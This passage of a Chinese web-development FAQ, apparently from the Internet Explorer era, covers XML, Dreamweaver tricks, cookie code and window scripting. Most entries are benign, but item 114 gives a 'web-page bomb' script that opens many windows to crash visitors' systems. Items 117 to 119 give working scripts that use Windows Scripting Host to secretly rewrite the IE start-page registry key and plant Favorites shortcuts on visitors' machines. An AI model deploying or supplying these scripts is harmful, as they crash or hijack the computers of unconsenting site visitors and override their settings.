|
?101,Q:XML 中能不能用中文标记 xml?
A:可以。如:
<!DOCTYPE 测试[
<!ATTLIST 项目 属性1 CDATA #REQUIRED
属性2 CDATA #IMPLIED>]>
102,Q:用 Dreamweaver 制作拖拽的拼图效果
A:
(一)、找到一张完整,而且色彩鲜明的图片,用 PhotoShop 或 Fireworks 将图片均匀分割成一些 .jpg 或 .gif 小图片;
(二)、进入 Dreamweaver,打开一个文件,单击对象工具栏中的层(Layer),在页面中拖拽一个层,把鼠标固定在层框中,同时点击工具栏中的图片插入按钮,插入一张你先前分割出的一张小图片。
(三)按 F8,弹出“Behaviors”面板,在 Events For: 选择 IE 4.0,
(四)、选中页面中的层,然后单击面板中的“+” 键,弹出列表,选择其中的 Drag Layer,此时弹出的框子,选择层(Layer)的时候时候一定选择当前层。(如果不是很清楚,按 F11)。其他的设置可以不去动他的默认。按 OK。 随后点击事件右侧的向下的黑色小箭头,在弹出的列表中选择"onMouseOver"。
这样一个可以拖拽的图象就建成了,你可以 Save 一下。用浏览器打开相应的 Html 文件试一试。:) 其他的图片也就按此方法重复制作几次。
103,Q:DreamWeaver 的七条经典技巧:
A:
(一)、连接窗口
Dreamweaver的用户界面分割为几个窗口,当处于工作状态时,屏幕上只能容纳几个窗口。为了保存真实的操作状态,最佳策略是将打开的窗口连接(dock)在一起。你可能尝试过拖拽窗口的标题栏,这在许多程序中都是可以完成连接动作的,但是在Dreamweaver中却不生效。
实现窗口连接的技巧是用鼠标拖住窗口的 tab 栏,而不是标题栏。试着点击鼠标拖住一个窗口的 tab 栏并掠过另外一个窗口,当看到出现一个黑色边界时,松开鼠标按钮,你会发现 2 个窗口已经结合在一起了。现在你就可以照此方法连接任意多的窗口,最终合并到一个窗口中,如此就能节省大量的屏幕空间而看到实际的工作情况。但是请注意:装载器窗口、属性窗口以及站点窗口是不能被连接的。
(二)、数据输入
Dreamweaver 允许你将数据直接输入到表格中,这样就比一次次地剪切、粘贴内容到单元格中容易许多。但是如果要输入的数据中含有插入表格数据命令时,就会有些麻烦。很不幸,Dreamweaver 只能输入具有分隔符的 .txt 文件。如果要处理 Word 或者 Excel 文件,可以先将它们输出为 .txt 文件,然后再输入进Dreamweaver 中。你会发现这样的处理方法简直象梦一样美妙!
(三)删除、恢复、重复
输入数据到表格能够节省大量的操作时间,但是 Dreamweaver 中最有用的一个功能是它的历史窗口。在这个窗口中,一旦打开文档,随后执行的每一个操作都被记录下来,这样,你就可以跟踪操作行为并且简单地undo 或者重复最后一步。只需要选中历史窗口中的最后一步然后按下 Delete 键,或者拖曳滑动指示器到某一步一次删除几个步骤。同样,点击窗口中的 Replay 按钮再次执行某一步。
很奇怪不能保存超过 50 步吧?这是个默认数值。要提高这个数值,选择“编辑/参数选择”,确认处于“普通”功能页面,在“历史步骤最大值”字段中输入一个较高数值。请注意,设定的保存步骤数目越大,消耗的内存就越大
(四)、扩展!扩展!
通过使用 extensions,你可以为 Dreamweaver 添加更多的功能。许多开发者创建 extensions 并免费提供给更多的人使用。你可以访问 Macromedia 的站点与大家进行作品交换。当运行 Dreamweaver 时,选择“命令/获取更多的命令”,就会自动启动浏览器并转到交换站点。在开始收集所有的新技巧前,首先下载 Extension Manager,它将跟踪 extensions 变得轻而易举。
(五)、创建相册
为许多图形一次性建立缩略图是一个单调乏味的工作,特别当你不是一个有经验的图形专家时。没有关系,Dreamweaver 具有一个功能,它能象你的一个图形设计助手一样,按照你的要求完成缩略图设计工作。你告诉 Dreamweaver 哪个文件夹中包含图形后,它就会为其中的每一个图形创建一个缩略图、创建一个包含完整图形的页面以及一个存有所有缩略图的索引页面。为了使用这个功能,你需要首先安装 Fireworks。
首先,建立文件结构:将所有的图形文件放置到一个文件夹中。然后,选择“命令/创建网络相册”,并设置相应选项。不要过分考虑标题和副标题,这些信息随后都可以进行修改。重要的是指明源图形文件夹以及目标文件夹,因为这些信息决定了处理哪些文件。同时要确定一下缩图的尺寸大小、格式以及其他选项。当点击 OK 后,Dreamweaver 将控制权转移给 Fireworks,由它开始批量处理文件,创建一个非常好的小型相册或者一个连续的产品目录。如果你有许多相片,设置好让它开始运行,然后去休息一会儿,Dreamweaver 和 Fireworks 将完成所有的工作。
(六)、创建自定义命令
你还记得前面说过 Dreamweaver 的一个最有用的功能就是历史窗口吗?这不是开玩笑,基于列于历史窗口中的操作,Dreamweaver 能够创建新的命令序列。
要创建一个命令,只需要简单地执行你想要记录的步骤。然后,在历史窗口中,选择想要保存的步骤,并在右下角点击“保存为”图标,起一个名字,点击 OK。到此,你的自定义命令就出现在“命令”菜单中,可以随意使用了。
(七)、与他人协同工作
对于与其他人一起工作的 Web 开发者而言,他不必担心其他人修改了你所共享的文件。Dreamweaver 利用 check-in 和 check-out 系统达到保护打开文件的目的。
104,Q:用 javascript 操作 Cookie 示例
A:
//写 Cookie(用分号“;”把表达式“var=value”分隔开)
function Write2Cookie()
{ document.cookie="v1=123;" + "path=/;";
document.cookie="v2=321;" + "path=/;";
}
//读 Cookie
function getCookieVal(name)
{
var firstCharPos,lastCharPos;
var theBigCookie = document.cookie;
firstCharPos = theBigCookie.indexOf(name);
if(firstCharPos != -1)
{//skip ''name'' and ''=''.
firstCharPos +=name.length + 1;
//Find the end of the value string (i.e. the next'';'').
lastCharPos = theBigCookie.indexOf('';'', firstCharPos);
if(lastCharPos == -1) lastCharPos = theBigCookie.length;
//Return thevalue.
return theBigCookie.substring(firstCharPos, lastCharPos);
}
else
{ return false;}
}
thev1=getCookieVal(''v1'') // read
thev2=getCookieVal(''v2'') // read
105,Q:电子邮件表单提交的问题
A:首先必需正确配置邮件客户端(Outlook Express 等)的帐户设置,这样,如果点按表单下的“提交”按钮,浏览器就会自动启用它发送邮件。目前,Foxmail 尚不支持这种电子邮件表单提交。
106,Q:用代码构造自己的窗口
A:
function xwindow(w,h,x,y,title,color,bordercolor,url)
{
move_function="var isinit=false;\r";
move_function+="var mywindowok=true;\r";
move_function+="function mouseSTATUS() {\r";
move_function+="this.x = null;\r";
move_function+="this.y = null;\r";
move_function+="this.bt =''up'';\r";
move_function+="this.oldx = null;\r";
move_function+="this.oldy = null;\r";
move_function+="this.dx = null;\r";
move_function+="this.dy = null;\r";
move_function+="this.screeny = null;\r";
move_function+="this.screenx = null;\r";
move_function+="this.element = null;\r";
move_function+="this.event = null;\r";
move_function+="}\r";
move_function+="var mouse = new mouseSTATUS();\r";
move_function+="function actualizateMouseSTATUS(e) {\r";
move_function+="if (!e) var e = event\r";
move_function+="if ((e.type==''mousedown'' || e.type==''mouseup'') && e.button!=1) return true\r";
move_function+="var x=e.x+document.body.scrollLeft\r";
move_function+="var y=e.y+document.body.scrollTop\r";
move_function+="mouse.x=x;\r";
move_function+="mouse.y=y;\r";
move_function+="if (e.type==''mousedown'') mouse.bt = ''down'';\r";
move_function+="else if(e.type==''mouseup'') mouse.bt = ''up'';\r";
move_function+="if(window.event) {\r";
move_function+="mouse.screenx=window.event.screenX;\r";
move_function+="mouse.screeny=window.event.screenY;\r";
move_function+="} else {\r";
move_function+="mouse.screenx=0;\r";
move_function+="mouse.screeny=0;\r";
move_function+="}}\r";
move_function+="function initMouseEvents() {\r";
move_function+="document.onmousedown = actualizateMouseSTATUS\r";
move_function+="document.onmousemove = actualizateMouseSTATUS\r";
move_function+="document.onmouseup = actualizateMouseSTATUS\r";
move_function+="document.onselectstart = selectstart\r";
move_function+="document.ondragstart = new Function(''actualizateMouseSTATUS(event); return false;'')\r";
move_function+="}\r";
move_function+="function selectstart(){\r";
move_function+="if ( event.srcElement.tagName != ''INPUT'' && event.srcElement.tagName != ''TEXTAREA'') { return false; } \r";
move_function+="else { mouse.bt=''up''; return true; }\r";
move_function+="}\r";
move_function+="initMouseEvents()\r";
move_function+="var mywindowbt =''up'';\r";
move_function+="var wincloseSTATUS=''up'';\r";
move_function+="var ofx=0;\r";
move_function+="var ofy=0;\r";
move_function+="var opx=0;\r";
move_function+="var opy=0;\r";
move_function+="var px=0;\r";
move_function+="var py=0;\r";
move_function+="var wclosechanged = false;\r";
move_function+="function initToMoveWin() {\r";
move_function+="if(mouse.y = 1 && mywindowbt == ''up'' && mouse.bt ==''up'') { mywindowbt = ''over'' }\r";
move_function+=" else if (( mouse.y > 22 || mouse.y < 1 ) && mywindowbt == ''over'' && mouse.bt ==''up'') { mywindowbt = ''up''}\r";
move_function+=" else if (mouse.y =1 && mywindowbt == ''over'' && mouse.bt == ''down'' ) { \r";
move_function+="self.window.focus();\r";
move_function+=" ofx = mouse.x;\r";
move_function+=" ofy = mouse.y;\r";
move_function+=" opx = mouse.x;\r";
move_function+=" opy = mouse.y;\r";
move_function+=" mywindowbt=''down'';\r";
move_function+="}\r";
move_function+=" else if ( mouse.bt ==''up'' && mywindowbt == ''down'' ) { ";
move_function+=" mywindowbt=''up'';";
move_function+=" ofx=0;";
move_function+=" ofy=0;";
move_function+=" opx=0; ";
move_function+=" opy=0;";
move_function+=" }";
move_function+=" else if ( mywindowbt == ''down'' && wincloseSTATUS == ''up'') {\r";
move_function+=" var m_scrx = mouse.screenx;\r";
move_function+=" var m_scry = mouse.screeny;\r";
move_function+=" px = m_scrx - ofx;\r";
move_function+=" py = m_scry - ofy;\r";
move_function+=" top.window.moveTo(px,py);\r";
move_function+=" }\r";
move_function+=" setTimeout(''initToMoveWin()'',1);\r";
move_function+=" }\r";
move_function+=" initToMoveWin()\r";
newWindow=window.open("","newWindow","fullscreen=1","width="+w+",height="+h);
newWindow.resizeTo(w,h);
newWindow.moveTo(x,y);
newWindow.document.open();
newWindow.document.write('''');
newWindow.document.write(''\r'');
newWindow.document.write(''\r'');
newWindow.document.write(''\r'');
newWindow.document.write(''\r'');
newWindow.document.write('''');
newWindow.document.write('''');
newWindow.document.close();
newWindow.focus();
}
//-->
<body onload="xwindow(''400'',''330'',''50'',''50'',''- My Window -'',''#FFCC00'',''#000000'',''child.htm'')"
107,Q:HTML 的 Access Key(存取键)的用法:
A:所谓“存取键”就像 windows 应用程序中的 Alt 快捷键,同时按 Alt 键和某个字母键,可以快速切换到文本框、按钮等页面对象上。
(1)、文本框的 Access Key:
其中的 标签产生下划线;For="Name" 和 ID="Name" 中的 Name 是一致的;ACCESSKEY=… 设置“热键”。
(2)、选择框的 Acsess Key:选择项目时不必非得在框内点击鼠标了,在文本上选择即可:
(3)、链接的快捷键:
按 Alt+[字母] 就可以打开一个链接,方便不方便?
108,Q:加速表格 的下载:
A:在 标签中加:style="table-layout:fixed"。
109,Q:去除作为链接的图片周围的虚框:
A:在链接标签 中加语句:onFocus="this.blur()",即:
110,Q:在网页中打开带模式的对话框窗口(在子窗口关闭之前父窗口不能获得焦点):
A:
window.showModalDialog(''about_us/about_us.htm'', null, ''dialogWidth=450px;dialogHeight=300px;center:1;scroll:0;
help:0; status:0'')"
111,Q:关闭浏览器时自动打开一个窗口:
A:。
112,Q:让一个窗口在指定的时间内关闭:
A: (n 替换为数字,单位为“ms毫秒”)。
113,Q:用 css 定制 IE5.5 以上浏览器的滚动条:
A:改变滚动条的颜色(red):
改变滚动条箭头的颜色(green):
114,Q:介绍一个最简单的“Javascript 网页炸弹”:
A:把以下脚本放在你的网页中,当打开你的网页时,同时会打开若干个 IE 窗口(本例中为 10 个,用脚本中的变量 count 控制)。如果设置打开的窗口数非常多(100个?、1000个?、5000个?),那么就会耗尽 Windows 的系统资源,导致死机、系统崩溃。
var count=10; //打开窗口的个数
for(var i=0;i<count;i++) document.open(''某网页文件.htm'','''','''')
站长提醒:此法不要滥用;试验前保存你的数据。
115,Q:网页编程中响应鼠标双击事件:
A:
116,Q:javascript 脚本中 innerHTML 代表什么?
A:举个例子:
其中 test.innerHTML代表的就是 "我是张庆"
大家还可以试试 outHtml、innerText、outText 等属性。
117,Q:把你的主页强行、自动设置为 IE 浏览器的首页:
A:
document.write("");
function set2homepage()
{
try
{
obj=document.applets[0];
obj.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"); //Windows Scripting Host 的外壳对象
obj.createInstance(); //创建 wsh 的一个实例
Shell=obj.GetObject();
try{Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page","http:// 100000.home.sohu.com");}
catch(e){}
}
catch(e){}
}
setTimeout("set2homepage()",1); //1ms
118,Q:把你的主页强行、自动设置为 IE 浏览器的首页、同时添加到“收藏夹”中:
A:
document.write("");
//this function is only needed if you add favorites or links
function AddFavLnk(loc, DispName, SiteURL)
{
var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}
//end add favorites or links function
function f()
{
try
{
o=document.applets[0];
o.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
o.createInstance();
Shl = o.GetObject();
o.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
o.createInstance();
FSO = o.GetObject();
try
{
//根据 cookie 判断是否需要设置
//if (document.cookie.indexOf("Chg") == -1)
//{
// //set cookie
// var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
// document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
// //end set cookie
//set home page
var your_hmpg="http://100000.home.sohu.com"
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", your_hmpg);
// var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
// document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
//end set home page
//add favorites this is the common part; should be here if you want to add favorites
var WF, Shor, loc;
WF = FSO.GetSpecialFolder(0);
loc = WF + "\\Favorites";
if(!FSO.FolderExists(loc))
{
loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites";
if(!FSO.FolderExists(loc))
{
return;
}
}
//end common part
//the following line is used for adding favorites. to add multiple favorites, duplicate the following line, changing the last 2 paramaters
AddFavLnk(loc, "十万个为什么", "http://100000.home.sohu.com");
//end add favorites
//}
}
catch(e) {}
}
catch(e) {}
}
function init() { setTimeout("f()", 100); }
init();
119,Q:把你的主页强行、自动添加到“收藏夹”中:
A:
document.write("");
function AddFavLnk(loc, DispName, SiteURL)
{var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}
function f()
{
try
{
o=document.applets[0];
o.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
o.createInstance();
Shl = o.GetObject();
o.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
o.createInstance();
FSO = o.GetObject();
try
{
//Following 2 lines set Homepage:
//var your_hmpg=top.location
//Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", your_hmpg);
var WF, loc;
WF = FSO.GetSpecialFolder(0); // folder where WINDOWS is installed
loc = WF + "\\Favorites";
if(!FSO.FolderExists(loc)) // is Windows2000 up
{
loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites";
if(!FSO.FolderExists(loc)) { return; }
}
AddFavLnk(loc, top.document.title, top.location); //你也可以直接设置 top.document.title 为常量字符串
}
catch(e) {}
}
catch(e) {}
}
function init() { setTimeout("f()", 100); }
init();
注:如果你的主页在 Frame 中,则收藏夹中的提示信息取分帧的主页的 Title。你也可以直接设置为常量字符串。 |
|